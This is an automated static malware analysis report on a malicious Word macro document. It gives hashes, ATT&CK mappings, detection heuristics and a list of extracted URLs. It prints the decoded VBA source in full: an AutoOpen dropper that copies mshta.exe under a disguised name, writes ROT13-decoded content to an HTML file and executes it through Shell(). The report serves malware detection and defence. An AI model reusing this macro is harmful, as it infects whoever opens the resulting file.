Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ea3dfbc07b29423d…

MALICIOUS

Office (OOXML)

70.9 KB Created: 2020-08-13 09:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 5f0910a780974f8826af5335975d9a2a SHA-1: 3177e073cb0ae7e28296a9c8d46ebfe8997312e9 SHA-256: ea3dfbc07b29423ddca47c78d75ffead305b443da300631ebed82ee95d4df320
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that calls the Shell() function. The script attempts to construct paths for mshta.exe and a potential payload file, indicating a downloader or dropper functionality. The presence of the AutoOpen macro and Shell() call strongly suggests malicious intent to execute arbitrary code.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2318 bytes
SHA-256: 754ed96f353b7ff598a6f9ef8e7a9da9f66d28f8ef54be33e1f4f6a4a2e6286e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ataeX"
Function aEbJtv()
aEbJtv = frm.txt.text
End Function
Public Function av1QU5(adsZK, aESZY)
av1QU5 = aUghA9(adsZK, aESZY)
End Function
Sub AutoOpen()
main
End Sub
Public Sub aasur4(auLiD)
a7qsOy = Shell(auLiD, vbNormalFocus)
End Sub

Attribute VB_Name = "asHKby"
Public Const awlv9 As String = "c&:&\&w&i&n&d&o&w&s&\&s&y&s&t&e&m&3&2&\&m&s&h&t&a&.&e&x&e&"
Public Const aFKi9 As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&c&a&l&c&.&c&o&m&"
Public Const aMage As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&i&n&.&h&t&m&l&"
Public Const aAXv8 As String = "&"
Public Const a7EVU As String = "&"
Public Const ayXCBb As String = "&"
Public Function aMZCJ(aIX5q, a8opE)
FileNumber = FreeFile
Open aIX5q For Output As #FileNumber
Print #FileNumber, Spc(13099 - 13097)
Print #FileNumber, a8opE
Print #FileNumber, Spc(13099 - 13097)
Close #FileNumber
End Function
Function aUghA9(aTzPDo, a4nHW)
aUghA9 = Replace(aTzPDo, a4nHW, "")
End Function
Sub aUi6L(aLA8er, aaQbHM)
FileCopy aLA8er, aaQbHM
End Sub
Function aVYA8(Test$) As String
  Dim tt As Long, x As Integer, y As Integer
  For tt = 1 To Len(Test$)
    y% = 0
    x% = Asc(Mid$(Test$, tt, 1))
    If (x% > 64 And x% < 91) Or (x% > 96 And x% < 123) Then
      y% = 13
      x% = x% - y%
      If x% < 97 And x% > 83 Then x% = x% + 26 Else If x% < 65 Then x% = x% + 26
    End If
    Mid$(Test$, tt, 1) = Chr$(x%)
  Next tt
  aVYA8 = Test$
End Function

Attribute VB_Name = "anA9J"
Sub main()
a0ArC = av1QU5(awlv9, aAXv8)
ah3z0 = av1QU5(aFKi9, a7EVU)
ajcO3 = av1QU5(aMage, ayXCBb)
aUi6L a0ArC, ah3z0
Call aMZCJ(ajcO3, aVYA8(aEbJtv))
aasur4 (ah3z0 & " " & ajcO3)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{A251E631-722F-4EB5-A5B7-6731531B5696}{865F545B-BBCB-4247-B96F-009D74BE8400}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 56320 bytes
SHA-256: d6536ea89ef3a1cf39ddc8cd719ad0855c5f82be477d95583e226e40b51f15b7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).